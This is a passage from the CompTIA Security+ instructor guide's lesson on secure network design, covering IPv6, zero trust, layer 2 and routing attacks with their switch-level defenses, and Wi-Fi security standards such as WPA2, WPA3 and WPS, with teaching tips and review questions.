Implications of IPv6
IPv6 has impacts for premises networks, for the way your company accesses cloud
services, and for the way clients access web servers and other public servers that
you publish.
IPv6 may be enabled by default on clients and servers, and even on network
appliances (routers and firewalls), so there must be a management and security
plan for it. If IPv6 is enabled but unmanaged, there is the potential for malicious
use as a backdoor or covert channel. IPv6 also exposes novel attack vectors, such
as spoofing and DoS attacks on neighbor discovery (tools.cisco.com/security/center/
resources/ipv6_first_hop).
Hosts should be allocated IPv6 addresses that map to the same zones as the IPv4
topology. Firewalls should be configured with ACLs that either achieve the same
security configuration as for IPv4 or block IPv6, if that is a better option. One issue
here is that IPv6 is not intended to perform any type of address translation. Rather
than obscure internal/external traffic flows with private to public address mapping,
IPv6 routing and filtering policies should be configured to mirror the equivalent
IPv4 architecture.

The Internet Society has published a white paper on security implications of IPv6
(internetsociety.org/wp-content/uploads/2019/03/deploy360-ipv6-security-v1.0.pdf).
Infoblox's white paper on migrating services to IPv6 provides more useful context (infoblox.
com/wp-content/uploads/2016/04/infoblox-whitepaper-seven-deadly-traps-of-ipv6-
deployment_0.pdf).

Show Slide(s) Other Secure Network Design Considerations

Other Secure Network
Network design must also be considered for data centers and the cloud. A data
Design Considerations center is a facility dedicated to hosting servers, rather than a mix of server and client
workstation machines.
Teaching
Tip East-West Traffic
This content is
Traffic that goes to and from a data center is referred to as north-south. This traffic
included in this topic
to simplify the syllabus represents clients outside the data center making requests and receiving responses.
mapping, but you may In data centers that support cloud and other Internet services, most traffic is actually
want to delay covering between servers within the data center. This is referred to as east-west traffic.
it to the cloud lesson.
Consider a client uploading a photograph as part of a social media post. The image
file might be checked by an analysis server for policy violations (indecent or copyright
images, for instance), a search/indexing service would be updated with the image
metadata, the image would be replicated to servers that provision content delivery
networks (CDNs), the image would be copied to backup servers, and so on. A single
request to the cloud tends to cascade to multiple requests and transfers within
the cloud.
The preponderance of east-west traffic complicates security design. If each of these
cascading transactions were to pass though a firewall or other security appliance,
it would create a severe bottleneck. These requirements are driving the creation of
virtualized security appliances that can monitor traffic as it passes between servers
(blogs.cisco.com/security/trends-in-data-center-security-part-1-traffic-trends).

Zero Trust
Zero trust is based on the idea that perimeter security is unlikely to be completely
robust. On a modern network, there are just too many opportunities for traffic to

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 225

escape monitoring by perimeter devices and DMZs. Zero trust uses systems such as
continuous authentication and conditional access to mitigate privilege escalation and
account compromise by threat actors.
Another zero trust technique is to apply microsegmentation. Microsegmentation is a
security process that is capable of applying policies to a single node, as though it was
in a zone of its own. Like east-west traffic, this requires a new generation of virtualized
security appliances to implement (vmware.com/solutions/micro-segmentation.html).

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 226 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Network Designs
Answer the following questions:

1. A recent security evaluation concluded that your company's network design

is too consolidated. Hosts with wildly different functions and purposes are
grouped together on the same logical area of the network. In the past, this
has enabled attackers to easily compromise large swaths of network hosts.
What technique(s) do you suggest will improve the security of the network's
design, and why?

In general, you should start implementing some form of network segmentation to

put hosts with the same security requirements within segregated zones. For example,
the workstations in each business department can be grouped in their own subnets
to prevent a compromise of one subnet from spreading to another. Likewise, with
VLANs, you can more easily manage the logical segmentation of the network without
disrupting the physical infrastructure (i.e., devices and cabling).

2. You are discussing a redesign of network architecture with a client, and

they want to know what the difference between an extranet and Internet
is. How can you explain it?

The Internet is an external zone where none of the hosts accessing your services can
be assumed trusted or authenticated. An extranet is a zone allowing controlled access
to semi-trusted hosts, implying some sort of authentication. The hosts are semi-trusted
because they are not under the administrative control of the organization (as they are
owned by suppliers, customers, business partners, contractors, and so on).

3. Why is subnetting useful in secure network design?

Subnet traffic is routed, allowing it to be filtered by devices such as a firewall. An

attacker must be able to gather more information about the configuration of the
network and overcome more barriers to launch successful attacks.

4. How can an enterprise DMZ be implemented?

By using two firewalls (external and internal) around a screened subnet, or by using a
triple-homed firewall (one with three network interfaces).

5. What type of network requires the design to account for east-west traffic?

This is typical of a data center or server farm, where a single external request causes
multiple cascading requests between servers within the data center. This is a problem
for a perimeter security model, as funneling this traffic up to a firewall and then back to
a server creates a performance bottleneck.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 227

Topic 9B
Implement Secure
Switching and Routing

EXAM OBJECTIVES COVERED Teaching

1.4 Given a scenario, analyze potential indicators associated with network attacks Tip
3.1 Given a scenario, implement secure protocols (Routing and switching only)
As well as port
3.3 Given a scenario, implement secure network designs security, NAC, and
route security, this
topic covers man-in-
Attacks aimed at low-level networking functions can be highly effective. To implement the-middle and layer 2
a network design that demonstrates confidentiality, integrity, and availability, you must network attacks.
configure switches and routers with appropriate settings. These devices can be used
to enforce network access control mechanisms and ensure fault-tolerant paths within
the network.
Show Slide(s)
Man-in-the-Middle and Layer 2 Attacks
Man-in-the-Middle and
Attacks at the physical and data link layers, referred to in the OSI model as layer 1 Layer 2 Attacks
and layer 2, are often focused on information gathering—network mapping and
eavesdropping on network traffic. Teaching
Tip
Man-in-the-Middle/On-Path Attacks Emphasize the lack of
authentication at layer
Attackers can also take advantage of the lack of security in low-level data link protocols
2, the basic operation
to perform man-in-the-middle (MitM) attacks. A MitM or on-path attack is where of ARP, and the ways
the threat actor gains a position between two hosts, and transparently captures, it can be subverted to
monitors, and relays all communication between the hosts. An on-path attack could perform DoS or MitM
also be used to covertly modify the traffic. For example, a MitM host could present a snooping.
workstation with a spoofed website form, to try to capture the user credential. Another Point out that on an
common on-path attack spoofs responses to DNS queries, redirecting users to spoofed IPv6 network, the
websites. On-path attacks can be defeated using mutual authentication, where both Neighbor Discovery
Protocol (NDP) serves
hosts exchange secure credentials, but at layer 2 it is not always possible to put these the same function
controls in place. as ARP and is also
vulnerable to cache
MAC Cloning pollution. There is,
however, a secure
MAC cloning, or MAC address spoofing, changes the hardware address configured on form of the protocol
an adapter interface or asserts the use of an arbitrary MAC address. While a unique (SEND).
MAC address is assigned to each network interface by the vendor at the factory, it is MitM is non-inclusive
simple to override it in software via OS commands, alterations to the network driver terminology. On-path
is now the preferred
configuration, or using packet crafting software. This can lead to a variety of issues
term, though we will
when investigating security incidents or when depending on MAC addresses as part of continue to use both
a security control, as the presented address of the device may not be reliable. in the course.

ARP Poisoning and MAC Flooding Attacks Show Slide(s)

A host uses the Address Resolution Protocol (ARP) to discover the host on the local ARP Poisoning and
segment that owns an IP address. MAC Flooding Attacks

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 228 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

ARP Poisoning Attacks

An ARP poisoning attack uses a packet crafter, such as Ettercap, to broadcast
unsolicited ARP reply packets. Because ARP has no security mechanism, the receiving
devices trust this communication and update their MAC:IP address cache table with the
spoofed address.

Packet capture opened in Wireshark showing ARP poisoning.

(Screenshot used with permission from wireshark.org.)

This screenshot shows packets captured during a typical ARP poisoning attack:
• In frames 6-8, the attacking machine (with MAC address ending :4a) directs
gratuitous ARP replies at other hosts (:76 and :77), claiming to have the IP addresses
.2 and .102.

• In frame 9, the .101/:77 host tries to send a packet to the .2 host, but it is received
by the attacking host (with the destination MAC :4a).

• In frame 10, the attacking host retransmits frame 9 to the actual .2 host. Wireshark
colors the frame black and red to highlight the retransmission.

• In frames 11 and 12, you can see the reply from .2, received by the attacking host in
frame 11 and retransmitted to the legitimate host in frame 12.

The usual target will be the subnet's default gateway (the router that accesses other
networks). If the ARP poisoning attack is successful, all traffic destined for remote
networks will be sent to the attacker. The attacker can perform a man-in-the-middle
attack, either by monitoring the communications and then forwarding them to the
router to avoid detection, or modifying the packets before forwarding them. The
attacker could also perform a denial of service attack by not forwarding the packets.

MAC Flooding Attacks

Where ARP poisoning is directed at hosts, MAC flooding is used to attack a switch.
The intention of the attacker is to exhaust the memory used to store the switch's MAC
address table. The switch uses the MAC address table to determine which port to use to

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 229

forward unicast traffic to its correct destination. Overwhelming the table can cause the
switch to stop trying to apply MAC-based forwarding and flood unicast traffic out of all
ports, working as a hub. This makes sniffing network traffic easier for the threat actor.

Loop Prevention Show Slide(s)

An Ethernet switch's layer 2 forwarding function is similar to that of an older network Loop Prevention
appliance called a bridge. In a network with multiple bridges, implemented these
days as switches, there may be more than one path for a frame to take to its intended Teaching
destination. As a layer 2 protocol, Ethernet has no concept of Time To Live. Therefore, Tip
layer 2 broadcast traffic could continue to loop through a network with multiple Students should be
paths indefinitely. Layer 2 loops are prevented by the Spanning Tree Protocol (STP). familiar with the
Spanning tree is a means for the bridges to organize themselves into a hierarchy and concept of STP from
prevent loops from forming. the Network+ course.

STP configuration.

This diagram shows the minimum configuration necessary to prevent loops in a

network with three bridges or switches. The root bridge has two designated ports
(DP) connected to Bridge A and Bridge B. Bridges A and B both have root ports (RP)
connected back to the interfaces on the root bridge. Bridges A and B also have a
connection directly to one another. On Bridge A, this interface is active and traffic for
Bridge B can be forwarded directly over it. On Bridge B, the interface is blocked (BP) to
prevent a loop and traffic for Bridge A must be forwarded via the root bridge.

Broadcast Storm Prevention

STP is principally designed to prevent broadcast storms. Switches forward broadcast,
multicast, and unknown unicast traffic out of all ports. If a bridged network contains
a loop, broadcast traffic will travel through the network, get amplified by the other
switches, and arrive back at the original switch, which will re-broadcast each incoming
broadcast frame, causing an exponential increase (the storm), which will rapidly
overwhelm the switches and crash the network.
A loop can be created accidentally or maliciously by plugging a patch cable from
one patch panel port to another or connecting two wall ports. Normally, STP should
detect and close the loop, resulting in a few seconds disruption and then ongoing
poor performance. However, STP may be misconfigured or a threat actor may have
managed to disrupt it. A storm control setting on a switch is a backup mechanism to
rate-limit broadcast traffic above a certain threshold.

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 230 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Bridge Protocol Data Unit (BPDU) Guard

A threat actor might try to attack STP using a rogue switch or software designed to
imitate a switch. When a switch does not know the correct port to use for a particular
destination MAC address (if the cache has just been flushed, for instance), it floods the
unknown unicast frame out to all ports. Topology changes in STP can cause a switch to
flush the cache more frequently and to start flooding unicast traffic more frequently,
which can have a serious impact on network performance and assists sniffing attacks.
The configuration of switch ports should prevent the use of STP over ports designated
for client devices (access ports). An access port is configured with the portfast
command to prevent STP changes from delaying client devices trying to connect to the
port. Additionally, the BPDU Guard setting should be applied. This causes a portfast-
configured port that receives a BPDU to become disabled (cisco.com/c/en/us/td/docs/
switches/lan/catalyst4000/8-2glx/configuration/guide/stp_enha.html). Bridge Protocol
Data Units (BPDUs) are used to communicate information about the topology and are
not expected on access ports, so BPDU Guard protects against misconfiguration or a
possible malicious attack.

Show Slide(s) Physical Port Security and MAC Filtering

Physical Port Security
Because of the risks from rogue devices and the potential to create loops by incorrect
and MAC Filtering placement of patch cables, access to the physical switch ports and switch hardware
should be restricted to authorized staff, using a secure server room and/or lockable
Teaching hardware cabinets. To prevent the attachment of unauthorized client devices at
Tip unsecured wall ports, the switch port that the wall port cabling connects to can be
Make sure students disabled by using the management software, or the patch cable can be physically
understand the removed from the port. Completely disabling ports in this way can introduce a lot
difference between of administrative overhead and scope for error. Also, it doesn't provide complete
physical network protection, as an attacker could unplug a device from an enabled port and connect
ports and TCP/UDP
application ports.
their own laptop. Consequently, more sophisticated methods of ensuring port
security have been developed.

MAC Filtering and MAC Limiting

Configuring MAC filtering on a switch means defining which MAC addresses are
allowed to connect to a particular port. This can be done by creating a list of valid
MAC addresses or by specifying a limit to the number of permitted addresses. For
example, if port security is enabled with a maximum of two MAC addresses, the switch
will record the first two MACs to connect to that port, but then drop any traffic from
machines with different MAC addresses that try to connect (cisco.com/c/en/us/td/
docs/ios/lanswitch/command/reference/lsw_book/lsw_m1.html). This provides a guard
against MAC flooding attacks.

DHCP Snooping
Another option is to configure Dynamic Host Configuration Protocol (DHCP)
snooping. DHCP is the protocol that allows a server to assign IP address information to
a client when it connects to the network. DHCP snooping inspects this traffic arriving on
access ports to ensure that a host is not trying to spoof its MAC address. It can also be
used to prevent rogue (or spurious) DHCP servers from operating on the network. With
DHCP snooping, only DHCP messages from ports configured as trusted are allowed.
Additionally dynamic ARP inspection (DAI), which can be configured alongside DHCP
snooping, prevents a host attached to an untrusted port from flooding the segment
with gratuitous ARP replies. DAI maintains a trusted database of IP:ARP mappings
and ensures that ARP packets are validly constructed and use valid IP addresses
(cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/
book/snoodhcp.html).

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 231

Configuring ARP inspection on a Cisco switch.

Network Access Control Show Slide(s)

Endpoint security is a set of security procedures and technologies designed to restrict Network Access
network access at a device level. Endpoint security contrasts with the focus on Control
perimeter security established by topologies such as DMZ and technologies such as
firewalls. Endpoint security does not replace these but adds defense in depth. Teaching
Tip
The IEEE 802.1X standard defines a port-based network access control (PNAC)
You can mention
mechanism. PNAC means that the switch uses an AAA server to authenticate the
zero-trust and
attached device before activating the port. Network access control (NAC) products unified endpoint
can extend the scope of authentication to allow administrators to devise policies or management (UEM)
profiles describing a minimum security configuration that devices must meet to be solutions as modern
granted network access. This is called a health policy. Typical policies check things such implementations of
as malware infection, firmware and OS patch level, personal firewall status, and the NAC.
presence of up-to-date virus definitions. A solution may also be to scan the registry or
perform file signature verification. The health policy is defined on a NAC management
server along with reporting and configuration tools.
Posture assessment is the process by which host health checks are performed against
a client device to verify compliance with the health policy. Most NAC solutions use
client software called an agent to gather information about the device, such as its anti-
virus and patch status, presence of prohibited applications, or anything else defined by
the health policy.

Defining policy violations in Packet Fence Open Source NAC.

(Screenshot used with permission from packetfence.org.)

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 232 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

An agent can be persistent, in which case it is installed as a software application on the

client, or non-persistent. A non-persistent (or dissolvable) agent is loaded into memory
during posture assessment but is not installed on the device.

Packet Fence supports the use of several scanning techniques, including vulnerability scanners, such
as Nessus and OpenVAS, Windows Management Instrumentation (WMI) queries, and log parsers.
(Screenshot used with permission from packetfence.org.)

Some NAC solutions can perform agentless posture assessment. This is useful when
Show Slide(s) the NAC solution must support a wide range of devices, such as smartphones, tablets,
and Internet of Things (IoT) devices, but less detailed information about the client is
Route Security available with an agentless solution.

Teaching
Tip
Route Security
Students may benefit A successful attack against route security enables the attacker to redirect traffic from
from further reading its intended destination. On the Internet, this may allow the threat actor to herd users
on switching and to spoofed websites. On an enterprise network, it may facilitate circumventing firewalls
routing attacks. Cisco's
website is a valuable
and security zones to allow lateral movement and data exfiltration.
source of information Routes between networks and subnets can be configured manually, but most routers
and advice.
automatically discover routes by communicating with each other. Dynamic routers
Point out that you will exchange information about routes using routing protocols. It is important that this
discuss the functions
traffic be separated from channels used for other types of data. Routing protocols
of firewalls in more
detail later in the do not always have effective integral security mechanisms, so they need to run in an
course. environment where access is very tightly controlled.

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 233

Sample routing table showing routes obtained from different sources, such as static configuration,
direct connection, and learned from the Border Gateway Protocol (BGP) routing protocol.

Routing is subject to numerous vulnerabilities, including:

• Spoofed routing information (route injection)—Routing protocols that have no or
weak authentication are vulnerable to route table poisoning. This can mean that
traffic is misdirected to a monitoring port (sniffing), sent to a blackhole (non-existent
address), or continuously looped around the network, causing DoS. Most dynamic
routing protocols support message authentication via a shared secret configured on
each device. This can be difficult to administer, however. It is usually also possible to
configure how a router identifies the peers from which it will accept route updates.
This makes it harder to simply add a rogue router to the system. An attacker would
have to compromise an existing router and change its configuration.

• Source routing—This uses an option in the IP header to pre-determine the route

a packet will take through the network (strict) or "waypoints" that it must pass
through (loose). This can be used maliciously to spoof IP addresses and bypass
router/firewall filters. Routers can be configured to block source routed packets.

• Software exploits in the underlying operating system. Hardware routers (and

switches) have an embedded operating system. For example, Cisco devices typically
use the Internetwork Operating System (IOS). Something like IOS suffers from fewer
exploitable vulnerabilities than full network operating systems. It has a reduced
attack surface compared to a computer OS, such as Windows.

On the other hand, SOHO broadband routers can be particularly vulnerable to

unpatched exploits.

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 234 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Switching and Routing
Answer the following questions:

1. Why might an ARP poisoning tool be of use to a threat actor performing

network reconnaissance?

The attacker could trick computers into sending traffic through the attacker's computer
(performing a MitM/on-path attack) and, therefore, examine traffic that would not
normally be accessible to him (on a switched network).

2. How could you prevent a malicious attacker from engineering a switching

loop from a host connected to a standard switch port?

Enable the appropriate guards (portfast and BPDU Guard) on access ports.

3. What port security feature mitigates ARP poisoning?

Dynamic ARP inspection—though this relies upon DHCP snooping being enabled.

4. What is a dissolvable agent?

Some network access control (NAC) solutions perform host health checks via a local
agent, running on the host. A dissolvable agent is one that is executed in the host's
memory and CPU but not installed to a local disk.

Lesson 9: Implementing Secure Network Designs | Topic 9B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 235

Topic 9C
Teaching
Tip
This is a long topic,
but hopefully students
should understand the
basics already. Focus

Implement Secure Wireless on WPA3 and wireless

attacks.

Infrastructure Show Slide(s)

Wireless Network
Installation
EXAM OBJECTIVES COVERED Considerations
1.4 Given a scenario, analyze potential indicators associated with network attacks
3.4 Given a scenario, install and configure wireless security settings Teaching
Tip
Technically, where
Most organizations have both a wired and a wireless network for employees to access multiple access points
provision the same
while on the move within their facilities. Understanding the potential threats and
network, the SSID
vulnerabilities will allow you to successfully secure the wireless components of an should be referred to
organization's information systems infrastructure. as an Extended SSID
(ESSID).

Wireless Network Installation Considerations Take the opportunity to

stress the importance
of the availability
Wireless network installation considerations refer to the factors that ensure good
component of CIA.
availability of authorized Wi-Fi access points. A network with patchy coverage is From a performance
vulnerable to rogue and evil twin attacks. perspective, a site
survey confirms that
The 5 GHz band has more space to configure non-overlapping channels. Also note that the WLAN is accessible
a WAP can use bonded channels to improve bandwidth, but this increases risks from in all the areas it
interference. should be. From a
security perspective,
you need to ensure
that rogue APs cannot
be positioned in weak
Wireless Access Point (WAP) Placement signal areas.
Past versions of the
An infrastructure-based wireless network comprises one or more wireless access
exam objectives have
points, each connected to a wired network. The access points forward traffic to and been very keen on the
from the wired switched network. Each WAP is identified by its MAC address, also idea of limiting power
referred to as its basic service set identifier (BSSID). Each wireless network is identified output to prevent war
by its name, or service set identifier (SSID). driving. This doesn't
seem to be the case
Wireless networks can operate in either the 2.4 GHz or 5 GHz radio band. Each radio with this iteration but
band is divided into a number of channels, and each WAP must be configured to use make students aware
a specific channel. For performance reasons, the channels chosen should be as widely that they may still see
some questions taking
spaced as possible to reduce different types of interference:
this approach.
• Co-channel interference (CCI)—when two WAPs in close proximity use the same
channel, they compete for bandwidth within that channel, as signals collide and Interaction
have to be re-transmitted. Opportunity
There are no scripted
• Adjacent channel interference (ACI)—channels have only ~5 MHz spacing, but Wi-Fi activities for this topic,
requires 20 MHz of channel space. When the channels selected for WAPs are not but if you can demo
cleanly spaced, the interference pattern creates significant numbers of errors and some AP configuration
settings or have a
loss of bandwidth. For example, if two access points within range of one another are
laptop or smartphone
configured in the 2.4 GHz band with channels 1 and 6, they will not overlap. If a third with Wi-Fi analyzer
access point is added using channel 3, it will use part of the spectrum used by both software, students may
the other WAPs, and all three networks will suffer from interference. benefit from a more
hands-on approach.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 236 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Site Surveys and Heat Maps

The coverage and interference factors mean that WAPs must be positioned and
configured so that the whole area is covered, but that they overlap as little as possible.
A site survey is used to measure signal strength and channel usage throughout the
area to cover. A site survey starts with an architectural map of the site, with features
that can cause background interference marked. These features include solid walls,
reflective surfaces, motors, microwave ovens, and so on. The survey is performed with
a Wi-Fi-enabled laptop or mobile device with Wi-Fi analyzer software installed. The Wi-Fi
analyzer records information about the signal obtained at regularly spaced points as
the surveyor moves around the area.
These readings are combined and analyzed to produce a heat map, showing where
a signal is strong (red) or weak (green/blue), and which channel is being used and
how they overlap. This data is then used to optimize the design, by adjusting transmit
power to reduce a WAP's range, changing the channel on a WAP, adding a new WAP, or
physically moving a WAP to a new location.

Show Slide(s) Controller and Access Point Security

Controller and Access
Where a site survey ensures availability, the confidentiality and integrity properties of
Point Security the network are ensured by configuring authentication and encryption. These settings
could be configured manually on each WAP, but this would be onerous in an enterprise
network with tens or hundreds of WAP. If access points are individually managed, this
can lead to configuration errors and can make it difficult to gain an overall view of the
wireless deployment, including which clients are connected to which access points and
which clients or access points are handling the most traffic.
Rather than configure each device individually, enterprise wireless solutions implement
wireless controllers for centralized management and monitoring. A controller can be
a hardware appliance or a software application run on a server.

UniFi Wireless Network management console.

(Screenshot used with permission from Ubiquiti Networks.)

An access point whose firmware contains enough processing logic to be able to

function autonomously and handle clients without the use of a wireless controller is

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 237

known as a fat WAP, while one that requires a wireless controller in order to function is
known as a thin WAP.
Controllers and access points must be made physically secure, as tampering could
allow a threat actor to insert a rogue/evil twin WAP to try to intercept logons. These
devices must be managed like switches and routers, using secure management
interfaces and strong administrative credentials.

Wi-Fi Protected Access Show Slide(s)

As well as the site design, a wireless network must be configured with security settings. Wi-Fi Protected Access
Without encryption, anyone within range can intercept and read packets passing over
the wireless network. These choices are determined by device support for the various Teaching
Wi-Fi security standards, by the type of authentication infrastructure, and by the Tip
purpose of the WLAN. The security standard determines the cryptographic protocols WEP, WPA, and TKIP
that are supported, the means of generating the encryption key, and available have been removed
methods for authenticating wireless stations when they try to join (or associate with) from the objectives,
the network. but it seems safer
to mention them, if
The first version of Wi-Fi Protected Access (WPA) was designed to fix critical only as comparison to
vulnerabilities in the earlier wired equivalent privacy (WEP) standard. Like WEP, WPA2/WPA3.
version 1 of WPA uses the RC4 stream cipher but adds a mechanism called the We also mention Wi-Fi
Temporal Key Integrity Protocol (TKIP) to make it stronger. 6 as a note. This is
not on the current
syllabus, but students
will quickly encounter
it, so it seems worthy
of inclusion.

Interaction
Configuring a TP-LINK SOHO access point with wireless encryption and authentication settings. In this Opportunity
example, the 2.4 GHz band allows legacy connections with WPA2-Personal security, while the 5 GHz You could ask students
network is for 802.11ax (Wi-Fi 6) capable devices using WPA3-SAE authentication. to try some of the
(Screenshot used with permission from TP-Link Technologies.) emulators available
from vendor sites.
The emulator shown
Neither WEP nor the original WPA version are considered secure enough for continued
in the screenshot is at
use. WPA2 uses the Advanced Encryption Standard (AES) cipher with 128-bit keys, emulator.tp-link.com/
deployed within the Counter Mode with Cipher Block Chaining Message Authentication Archer_AX20v1_US_
Code Protocol (CCMP). AES replaces RC4 and CCMP replaces TKIP. CCMP provides simulator/#wireless
authenticated encryption, which is designed to make replay attacks harder. SettingsAdv.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 238 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Weaknesses have also been found in WPA2, however, which has led to its intended
replacement by WPA3. The main features of WPA3 are as follows:
• Simultaneous Authentication of Equals (SAE)—replaces WPA's 4-way handshake
authentication and association mechanism with a protocol based on Diffie-Hellman
key agreement.

• Enhanced Open—enables encryption for the open authentication method.

• Updated cryptographic protocols—replaces AES CCMP with the AES Galois Counter
Mode Protocol (GCMP) mode of operation. Enterprise authentication methods must
use 192-bit AES, while personal authentication can use either 128-bit or 192-bit.

• Management protection frames—mandates use of these to protect against key

recovery attacks.

Wi-Fi performance also depends on support for the latest 802.11 standards. The most
recent generation (802.11ax) is being marketed as Wi-Fi 6. The earlier standards are
retroactively named Wi-Fi 5 (802.11ac) and Wi-Fi 4 (802.11n). The performance standards
are developed in parallel with the WPA security specifications. Most Wi-Fi 6 devices and
some Wi-Fi 5 and Wi-Fi 4 products should support WPA3, either natively or with a firmware/
driver update.

Show Slide(s) Wi-Fi Authentication Methods

Wi-Fi Authentication
In order to secure a network, you need to be able to confirm that only valid users
Methods are connecting to it. Wi-Fi authentication comes in three types: personal, open, and
enterprise. Within the personal category, there are two methods: pre-shared key
Teaching authentication (PSK) and simultaneous authentication of equals (SAE).
Tip
The changes between WPA2 Pre-Shared Key Authentication
versions of WPA are
all designed to try to In WPA2, pre-shared key (PSK) authentication uses a passphrase to generate the key
prevent recovery of that is used to encrypt communications. It is also referred to as group authentication
the hash so that it because a group of users share the same secret. When the access point is set to
cannot be subjected WPA2-PSK mode, the administrator configures a passphrase of between 8 and 63 ASCII
to dictionary/brute characters. This is converted to a 256-bit HMAC (expressed as a 64-character hex value)
force attacks, but
researchers are
using the PBKDF2 key stretching algorithm. This HMAC is referred to as the pairwise
usually quick to find master key (PMK). The same secret must be configured on the access point and on
weaknesses. Discuss each node that joins the network. The PMK is used as part of WPA2's 4-way handshake
how different types to derive various session keys.
of networks should
account for these
All types of Wi-Fi personal authentication have been shown to be vulnerable to attacks
risks.
that allow dictionary or brute force attacks against the passphrase. At a minimum, the
passphrase must be at least 14 characters long to try to mitigate risks from cracking.

WPA3 Personal Authentication

While WPA3 still uses a passphrase to authenticate stations in personal mode, it
changes the method by which this secret is used to agree session keys. The scheme
used is also referred to as Password Authenticated Key Exchange (PAKE). In WPA3, the
Simultaneous Authentication of Equals (SAE) protocol replaces the 4-way handshake,
which has been found to be vulnerable to various attacks. SAE uses the Dragonfly
handshake, which is basically Diffie-Helllman over elliptic curves key agreement,
combined with a hash value derived from the password and device MAC address to
authenticate the nodes. With SAE, there should be no way for an attacker to sniff the

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 239

handshake to obtain the hash value and try to use an offline brute-force or dictionary
attack to recover the password. Dragonfly also implements ephemeral session keys,
providing forward secrecy.

The configuration interfaces for access points can use different labels for these methods.
You might see WPA2-Personal and WPA3-SAE rather than WPA2-PSK and WPA3-Personal, for
example. Additionally, an access point can be configured for WPA3 only or with support for
legacy WPA2 (WPA3-Personal Transition mode). Researchers already found flaws in WPA3-
Personal, one of which relies on a downgrade attack to use WPA2 (wi-fi.org/security-update-
april-2019).

Wi-Fi Protected Setup Show Slide(s)

As setting up an access point securely is relatively complex for residential consumers, Wi-Fi Protected Setup
vendors have developed a system to automate the process called Wi-Fi Protected
Setup (WPS). To use WPS, both the access point and wireless station (client device)
must be WPS-capable. Typically, the devices will have a push button. Activating this on
the access point and the adapter simultaneously will associate the devices using a PIN,
then associate the adapter with the access point using WPA2. The system generates a
random SSID and PSK. If the devices do not support the push button method, the PIN
(printed on the WAP) can be entered manually.
Unfortunately, WPS is vulnerable to a brute force attack. While the PIN is eight
characters, one digit is a checksum and the rest are verified as two separate PINs of
four and three characters. These separate PINs are many orders of magnitude simpler
to brute force, typically requiring just hours to crack. On some models, disabling
WPS through the admin interface does not actually disable the protocol, or there is
no option to disable it. Some APs can lock out an intruder if a brute force attack is
detected, but in some cases the attack can just be resumed when the lockout period
expires. To counter this, the lockout period can be increased. However, this can leave
APs vulnerable to a denial of service (DoS) attack. When provisioning a WAP, it is
essential to verify what steps the vendor has taken to make their WPS implementation
secure and the firmware level required to assure security.
The Easy Connect method, announced alongside WPA3, is intended to replace WPS as
a method of securely configuring client devices with the information required to access
a Wi-Fi network. Easy Connect is a brand name for the Device Provisioning Protocol
(DPP). Each participating device must be configured with a public/private key pair. Easy
Connect uses quick response (QR) codes or near-field communication (NFC) tags to
communicate each device's public key. A smartphone is registered as an Easy Connect
configurator app, and associated with the WAP using its QR code. Each client device can
then be associated by scanning its QR code or NFC tag in the configurator app. As well
as fixing the security problems associated with WPS, this is a straightforward means of
configuring headless Internet of Things (IoT) devices with Wi-Fi connectivity.

A quick response (QR) code is a barcode standard for encoding arbitrary alphanumeric or
binary strings within a square block pattern. The codes can be scanned using any type of
digital camera. Show Slide(s)

Open Authentication
and Captive Portals
Open Authentication and Captive Portals
Teaching
Selecting open authentication means that the client is not required to authenticate. Tip
This mode would be used on a public WAP (or "hotspot"). In WPA2, this also means Make sure students
that data sent over the link is unencrypted. Open authentication may be combined understand risks from
with a secondary authentication mechanism managed via a browser. When the client open access points.

Lesson 9: Implementing Secure Network Designs | Topic 9C

